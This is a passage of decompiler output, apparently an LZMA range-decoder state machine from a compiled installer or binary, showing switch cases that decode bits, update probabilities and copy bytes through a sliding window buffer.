                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													__eax =  *(__ebp - 4);
                                                    													__ecx =  *(__ebp - 0x38);
                                                    													 *(__ebp - 0x84) = 0xa;
                                                    													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                    												} else {
                                                    													__eax =  *(__ebp - 0x38);
                                                    													__ecx =  *(__ebp - 4);
                                                    													__eax =  *(__ebp - 0x38) + 0xf;
                                                    													 *(__ebp - 0x84) = 9;
                                                    													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                    													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                    												}
                                                    												while(1) {
                                                    													L132:
                                                    													 *(_t621 - 0x54) = _t614;
                                                    													goto L133;
                                                    												}
                                                    											case 9:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													goto L89;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x60);
                                                    												if( *(__ebp - 0x60) == 0) {
                                                    													goto L171;
                                                    												}
                                                    												__eax = 0;
                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                    												_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                    												__eflags = _t258;
                                                    												0 | _t258 = _t258 + _t258 + 9;
                                                    												 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                    												goto L75;
                                                    											case 0xa:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													__eax =  *(__ebp - 4);
                                                    													__ecx =  *(__ebp - 0x38);
                                                    													 *(__ebp - 0x84) = 0xb;
                                                    													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                    													while(1) {
                                                    														L132:
                                                    														 *(_t621 - 0x54) = _t614;
                                                    														goto L133;
                                                    													}
                                                    												}
                                                    												__eax =  *(__ebp - 0x28);
                                                    												goto L88;
                                                    											case 0xb:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													__ecx =  *(__ebp - 0x24);
                                                    													__eax =  *(__ebp - 0x20);
                                                    													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    												} else {
                                                    													__eax =  *(__ebp - 0x24);
                                                    												}
                                                    												__ecx =  *(__ebp - 0x28);
                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    												L88:
                                                    												__ecx =  *(__ebp - 0x2c);
                                                    												 *(__ebp - 0x2c) = __eax;
                                                    												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    												L89:
                                                    												__eax =  *(__ebp - 4);
                                                    												 *(__ebp - 0x80) = 0x15;
                                                    												__eax =  *(__ebp - 4) + 0xa68;
                                                    												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                    												goto L68;
                                                    											case 0xc:
                                                    												L99:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0xc;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t334 = __ebp - 0x70;
                                                    												 *_t334 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t334;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												__eax =  *(__ebp - 0x2c);
                                                    												goto L101;
                                                    											case 0xd:
                                                    												L37:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0xd;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t122 = __ebp - 0x70;
                                                    												 *_t122 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t122;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												L39:
                                                    												__eax =  *(__ebp - 0x40);
                                                    												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                    													goto L48;
                                                    												}
                                                    												__eflags = __ebx - 0x100;
                                                    												if(__ebx >= 0x100) {
                                                    													goto L54;
                                                    												}
                                                    												L41:
                                                    												__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                    												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                    												__ecx =  *(__ebp - 0x58);
                                                    												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                    												 *(__ebp - 0x48) = __eax;
                                                    												__eax = __eax + 1;
                                                    												__eax = __eax << 8;
                                                    												__eax = __eax + __ebx;
                                                    												__esi =  *(__ebp - 0x58) + __eax * 2;
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    												__ax =  *__esi;
                                                    												 *(__ebp - 0x54) = __esi;
                                                    												__edx = __ax & 0x0000ffff;
                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    													__cx = __ax;
                                                    													 *(__ebp - 0x40) = 1;
                                                    													__cx = __ax >> 5;
                                                    													__eflags = __eax;
                                                    													__ebx = __ebx + __ebx + 1;
                                                    													 *__esi = __ax;
                                                    												} else {
                                                    													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                    													 *(__ebp - 0x10) = __ecx;
                                                    													0x800 = 0x800 - __edx;
                                                    													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                    													__ebx = __ebx + __ebx;
                                                    													 *__esi = __cx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													goto L39;
                                                    												} else {
                                                    													goto L37;
                                                    												}
                                                    											case 0xe:
                                                    												L46:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0xe;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t156 = __ebp - 0x70;
                                                    												 *_t156 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t156;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												while(1) {
                                                    													L48:
                                                    													__eflags = __ebx - 0x100;
                                                    													if(__ebx >= 0x100) {
                                                    														break;
                                                    													}
                                                    													__eax =  *(__ebp - 0x58);
                                                    													__edx = __ebx + __ebx;
                                                    													__ecx =  *(__ebp - 0x10);
                                                    													__esi = __edx + __eax;
                                                    													__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    													__ax =  *__esi;
                                                    													 *(__ebp - 0x54) = __esi;
                                                    													__edi = __ax & 0x0000ffff;
                                                    													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    													__eflags =  *(__ebp - 0xc) - __ecx;
                                                    													if( *(__ebp - 0xc) >= __ecx) {
                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    														__cx = __ax;
                                                    														_t170 = __edx + 1; // 0x1
                                                    														__ebx = _t170;
                                                    														__cx = __ax >> 5;
                                                    														__eflags = __eax;
                                                    														 *__esi = __ax;
                                                    													} else {
                                                    														 *(__ebp - 0x10) = __ecx;
                                                    														0x800 = 0x800 - __edi;
                                                    														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    														__ebx = __ebx + __ebx;
                                                    														 *__esi = __cx;
                                                    													}
                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    													 *(__ebp - 0x44) = __ebx;
                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                    														continue;
                                                    													} else {
                                                    														goto L46;
                                                    													}
                                                    												}
                                                    												L54:
                                                    												_t173 = __ebp - 0x34;
                                                    												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                    												__eflags =  *_t173;
                                                    												goto L55;
                                                    											case 0xf:
                                                    												L58:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0xf;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t203 = __ebp - 0x70;
                                                    												 *_t203 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t203;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												L60:
                                                    												__eflags = __ebx - 0x100;
                                                    												if(__ebx >= 0x100) {
                                                    													L55:
                                                    													__al =  *(__ebp - 0x44);
                                                    													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                    													goto L56;
                                                    												}
                                                    												L61:
                                                    												__eax =  *(__ebp - 0x58);
                                                    												__edx = __ebx + __ebx;
                                                    												__ecx =  *(__ebp - 0x10);
                                                    												__esi = __edx + __eax;
                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    												__ax =  *__esi;
                                                    												 *(__ebp - 0x54) = __esi;
                                                    												__edi = __ax & 0x0000ffff;
                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    													__cx = __ax;
                                                    													_t217 = __edx + 1; // 0x1
                                                    													__ebx = _t217;
                                                    													__cx = __ax >> 5;
                                                    													__eflags = __eax;
                                                    													 *__esi = __ax;
                                                    												} else {
                                                    													 *(__ebp - 0x10) = __ecx;
                                                    													0x800 = 0x800 - __edi;
                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    													__ebx = __ebx + __ebx;
                                                    													 *__esi = __cx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													goto L60;
                                                    												} else {
                                                    													goto L58;
                                                    												}
                                                    											case 0x10:
                                                    												L109:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0x10;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t365 = __ebp - 0x70;
                                                    												 *_t365 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t365;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												goto L111;
                                                    											case 0x11:
                                                    												L68:
                                                    												_t614 =  *(_t621 - 0x58);
                                                    												 *(_t621 - 0x84) = 0x12;
                                                    												while(1) {
                                                    													L132:
                                                    													 *(_t621 - 0x54) = _t614;
                                                    													goto L133;
                                                    												}
                                                    											case 0x12:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													__eax =  *(__ebp - 0x58);
                                                    													 *(__ebp - 0x84) = 0x13;
                                                    													__esi =  *(__ebp - 0x58) + 2;
                                                    													while(1) {
                                                    														L132:
                                                    														 *(_t621 - 0x54) = _t614;
                                                    														goto L133;
                                                    													}
                                                    												}
                                                    												__eax =  *(__ebp - 0x4c);
                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                    												__ecx =  *(__ebp - 0x58);
                                                    												__eax =  *(__ebp - 0x4c) << 4;
                                                    												__eflags = __eax;
                                                    												__eax =  *(__ebp - 0x58) + __eax + 4;
                                                    												goto L130;
                                                    											case 0x13:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													_t469 = __ebp - 0x58;
                                                    													 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                    													__eflags =  *_t469;
                                                    													 *(__ebp - 0x30) = 0x10;
                                                    													 *(__ebp - 0x40) = 8;
                                                    													L144:
                                                    													 *(__ebp - 0x7c) = 0x14;
                                                    													goto L145;
                                                    												}
                                                    												__eax =  *(__ebp - 0x4c);
                                                    												__ecx =  *(__ebp - 0x58);
                                                    												__eax =  *(__ebp - 0x4c) << 4;
                                                    												 *(__ebp - 0x30) = 8;
                                                    												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                    												L130:
                                                    												 *(__ebp - 0x58) = __eax;
                                                    												 *(__ebp - 0x40) = 3;
                                                    												goto L144;
                                                    											case 0x14:
                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                    												__eax =  *(__ebp - 0x80);
                                                    												 *(_t621 - 0x88) = _t542;
                                                    												goto L1;
                                                    											case 0x15:
                                                    												__eax = 0;
                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    												__al = __al & 0x000000fd;
                                                    												__eax = (__eflags >= 0) - 1 + 0xb;
                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                    												goto L120;
                                                    											case 0x16:
                                                    												__eax =  *(__ebp - 0x30);
                                                    												__eflags = __eax - 4;
                                                    												if(__eax >= 4) {
                                                    													_push(3);
                                                    													_pop(__eax);
                                                    												}
                                                    												__ecx =  *(__ebp - 4);
                                                    												 *(__ebp - 0x40) = 6;
                                                    												__eax = __eax << 7;
                                                    												 *(__ebp - 0x7c) = 0x19;
                                                    												 *(__ebp - 0x58) = __eax;
                                                    												goto L145;
                                                    											case 0x17:
                                                    												L145:
                                                    												__eax =  *(__ebp - 0x40);
                                                    												 *(__ebp - 0x50) = 1;
                                                    												 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                    												goto L149;
                                                    											case 0x18:
                                                    												L146:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0x18;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t484 = __ebp - 0x70;
                                                    												 *_t484 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t484;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												L148:
                                                    												_t487 = __ebp - 0x48;
                                                    												 *_t487 =  *(__ebp - 0x48) - 1;
                                                    												__eflags =  *_t487;
                                                    												L149:
                                                    												__eflags =  *(__ebp - 0x48);
                                                    												if( *(__ebp - 0x48) <= 0) {
                                                    													__ecx =  *(__ebp - 0x40);
                                                    													__ebx =  *(__ebp - 0x50);
                                                    													0 = 1;
                                                    													__eax = 1 << __cl;
                                                    													__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                    													__eax =  *(__ebp - 0x7c);
                                                    													 *(__ebp - 0x44) = __ebx;
                                                    													while(1) {
                                                    														 *(_t621 - 0x88) = _t542;
                                                    														goto L1;
                                                    													}
                                                    												}
                                                    												__eax =  *(__ebp - 0x50);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    												__eax =  *(__ebp - 0x58);
                                                    												__esi = __edx + __eax;
                                                    												 *(__ebp - 0x54) = __esi;
                                                    												__ax =  *__esi;
                                                    												__edi = __ax & 0x0000ffff;
                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    													__cx = __ax;
                                                    													__cx = __ax >> 5;
                                                    													__eax = __eax - __ecx;
                                                    													__edx = __edx + 1;
                                                    													__eflags = __edx;
                                                    													 *__esi = __ax;
                                                    													 *(__ebp - 0x50) = __edx;
                                                    												} else {
                                                    													 *(__ebp - 0x10) = __ecx;
                                                    													0x800 = 0x800 - __edi;
                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    													 *__esi = __cx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													goto L148;
                                                    												} else {
                                                    													goto L146;
                                                    												}
                                                    											case 0x19:
                                                    												__eflags = __ebx - 4;
                                                    												if(__ebx < 4) {
                                                    													 *(__ebp - 0x2c) = __ebx;
                                                    													L119:
                                                    													_t393 = __ebp - 0x2c;
                                                    													 *_t393 =  *(__ebp - 0x2c) + 1;
                                                    													__eflags =  *_t393;
                                                    													L120:
                                                    													__eax =  *(__ebp - 0x2c);
                                                    													__eflags = __eax;
                                                    													if(__eax == 0) {
                                                    														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                    														goto L170;
                                                    													}
                                                    													__eflags = __eax -  *(__ebp - 0x60);
                                                    													if(__eax >  *(__ebp - 0x60)) {
                                                    														goto L171;
                                                    													}
                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                    													__eax =  *(__ebp - 0x30);
                                                    													_t400 = __ebp - 0x60;
                                                    													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                    													__eflags =  *_t400;
                                                    													goto L123;
                                                    												}
                                                    												__ecx = __ebx;
                                                    												__eax = __ebx;
                                                    												__ecx = __ebx >> 1;
                                                    												__eax = __ebx & 0x00000001;
                                                    												__ecx = (__ebx >> 1) - 1;
                                                    												__al = __al | 0x00000002;
                                                    												__eax = (__ebx & 0x00000001) << __cl;
                                                    												__eflags = __ebx - 0xe;
                                                    												 *(__ebp - 0x2c) = __eax;
                                                    												if(__ebx >= 0xe) {
                                                    													__ebx = 0;
                                                    													 *(__ebp - 0x48) = __ecx;
                                                    													L102:
                                                    													__eflags =  *(__ebp - 0x48);
                                                    													if( *(__ebp - 0x48) <= 0) {
                                                    														__eax = __eax + __ebx;
                                                    														 *(__ebp - 0x40) = 4;
                                                    														 *(__ebp - 0x2c) = __eax;
                                                    														__eax =  *(__ebp - 4);
                                                    														__eax =  *(__ebp - 4) + 0x644;
                                                    														__eflags = __eax;
                                                    														L108:
                                                    														__ebx = 0;
                                                    														 *(__ebp - 0x58) = __eax;
                                                    														 *(__ebp - 0x50) = 1;
                                                    														 *(__ebp - 0x44) = 0;
                                                    														 *(__ebp - 0x48) = 0;
                                                    														L112:
                                                    														__eax =  *(__ebp - 0x40);
                                                    														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                    															_t391 = __ebp - 0x2c;
                                                    															 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                    															__eflags =  *_t391;
                                                    															goto L119;
                                                    														}
                                                    														__eax =  *(__ebp - 0x50);
                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    														__eax =  *(__ebp - 0x58);
                                                    														__esi = __edi + __eax;
                                                    														 *(__ebp - 0x54) = __esi;
                                                    														__ax =  *__esi;
                                                    														__ecx = __ax & 0x0000ffff;
                                                    														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                    														__eflags =  *(__ebp - 0xc) - __edx;
                                                    														if( *(__ebp - 0xc) >= __edx) {
                                                    															__ecx = 0;
                                                    															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                    															__ecx = 1;
                                                    															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                    															__ebx = 1;
                                                    															__ecx =  *(__ebp - 0x48);
                                                    															__ebx = 1 << __cl;
                                                    															__ecx = 1 << __cl;
                                                    															__ebx =  *(__ebp - 0x44);
                                                    															__ebx =  *(__ebp - 0x44) | __ecx;
                                                    															__cx = __ax;
                                                    															__cx = __ax >> 5;
                                                    															__eax = __eax - __ecx;
                                                    															__edi = __edi + 1;
                                                    															__eflags = __edi;
                                                    															 *(__ebp - 0x44) = __ebx;
                                                    															 *__esi = __ax;
                                                    															 *(__ebp - 0x50) = __edi;
                                                    														} else {
                                                    															 *(__ebp - 0x10) = __edx;
                                                    															0x800 = 0x800 - __ecx;
                                                    															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                    															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    															 *__esi = __dx;
                                                    														}
                                                    														__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    														if( *(__ebp - 0x10) >= 0x1000000) {
                                                    															L111:
                                                    															_t368 = __ebp - 0x48;
                                                    															 *_t368 =  *(__ebp - 0x48) + 1;
                                                    															__eflags =  *_t368;
                                                    															goto L112;
                                                    														} else {
                                                    															goto L109;
                                                    														}
                                                    													}
                                                    													__ecx =  *(__ebp - 0xc);
                                                    													__ebx = __ebx + __ebx;
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                    													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    													 *(__ebp - 0x44) = __ebx;
                                                    													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                    														__ecx =  *(__ebp - 0x10);
                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    														__ebx = __ebx | 0x00000001;
                                                    														__eflags = __ebx;
                                                    														 *(__ebp - 0x44) = __ebx;
                                                    													}
                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                    														L101:
                                                    														_t338 = __ebp - 0x48;
                                                    														 *_t338 =  *(__ebp - 0x48) - 1;
                                                    														__eflags =  *_t338;
                                                    														goto L102;
                                                    													} else {
                                                    														goto L99;
                                                    													}
                                                    												}
                                                    												__edx =  *(__ebp - 4);
                                                    												__eax = __eax - __ebx;
                                                    												 *(__ebp - 0x40) = __ecx;
                                                    												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                    												goto L108;
                                                    											case 0x1a:
                                                    												L56:
                                                    												__eflags =  *(__ebp - 0x64);
                                                    												if( *(__ebp - 0x64) == 0) {
                                                    													 *(__ebp - 0x88) = 0x1a;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x68);
                                                    												__al =  *(__ebp - 0x5c);
                                                    												__edx =  *(__ebp - 8);
                                                    												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    												 *( *(__ebp - 0x68)) = __al;
                                                    												__ecx =  *(__ebp - 0x14);
                                                    												 *(__ecx +  *(__ebp - 8)) = __al;
                                                    												__eax = __ecx + 1;
                                                    												__edx = 0;
                                                    												_t192 = __eax %  *(__ebp - 0x74);
                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                    												__edx = _t192;
                                                    												goto L79;
                                                    											case 0x1b:
                                                    												L75:
                                                    												__eflags =  *(__ebp - 0x64);
                                                    												if( *(__ebp - 0x64) == 0) {
                                                    													 *(__ebp - 0x88) = 0x1b;
                                                    													goto L170;
                                                    												}
                                                    												__eax =  *(__ebp - 0x14);
                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                    													__eflags = __eax;
                                                    												}
                                                    												__edx =  *(__ebp - 8);
                                                    												__cl =  *(__eax + __edx);
                                                    												__eax =  *(__ebp - 0x14);
                                                    												 *(__ebp - 0x5c) = __cl;
                                                    												 *(__eax + __edx) = __cl;
                                                    												__eax = __eax + 1;
                                                    												__edx = 0;
                                                    												_t274 = __eax %  *(__ebp - 0x74);
                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                    												__edx = _t274;
                                                    												__eax =  *(__ebp - 0x68);
                                                    												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    												_t283 = __ebp - 0x64;
                                                    												 *_t283 =  *(__ebp - 0x64) - 1;
                                                    												__eflags =  *_t283;
                                                    												 *( *(__ebp - 0x68)) = __cl;
                                                    												L79:
                                                    												 *(__ebp - 0x14) = __edx;
                                                    												goto L80;
                                                    											case 0x1c:
                                                    												while(1) {
                                                    													L123:
                                                    													__eflags =  *(__ebp - 0x64);
                                                    													if( *(__ebp - 0x64) == 0) {
                                                    														break;
                                                    													}
                                                    													__eax =  *(__ebp - 0x14);
                                                    													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    													__eflags = __eax -  *(__ebp - 0x74);
                                                    													if(__eax >=  *(__ebp - 0x74)) {
                                                    														__eax = __eax +  *(__ebp - 0x74);
                                                    														__eflags = __eax;
                                                    													}
                                                    													__edx =  *(__ebp - 8);
                                                    													__cl =  *(__eax + __edx);
                                                    													__eax =  *(__ebp - 0x14);
                                                    													 *(__ebp - 0x5c) = __cl;
                                                    													 *(__eax + __edx) = __cl;
                                                    													__eax = __eax + 1;
                                                    													__edx = 0;
                                                    													_t414 = __eax %  *(__ebp - 0x74);
                                                    													__eax = __eax /  *(__ebp - 0x74);
                                                    													__edx = _t414;
                                                    													__eax =  *(__ebp - 0x68);
                                                    													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                    													__eflags =  *(__ebp - 0x30);
                                                    													 *( *(__ebp - 0x68)) = __cl;
                                                    													 *(__ebp - 0x14) = _t414;
                                                    													if( *(__ebp - 0x30) > 0) {
                                                    														continue;
                                                    													} else {
                                                    														L80:
                                                    														 *(__ebp - 0x88) = 2;
                                                    														goto L1;
                                                    													}
                                                    												}
                                                    												 *(__ebp - 0x88) = 0x1c;
                                                    												goto L170;
                                                    										}
                                                    									}
                                                    									L171:
                                                    									_t544 = _t543 | 0xffffffff;
                                                    									goto L172;
                                                    								}
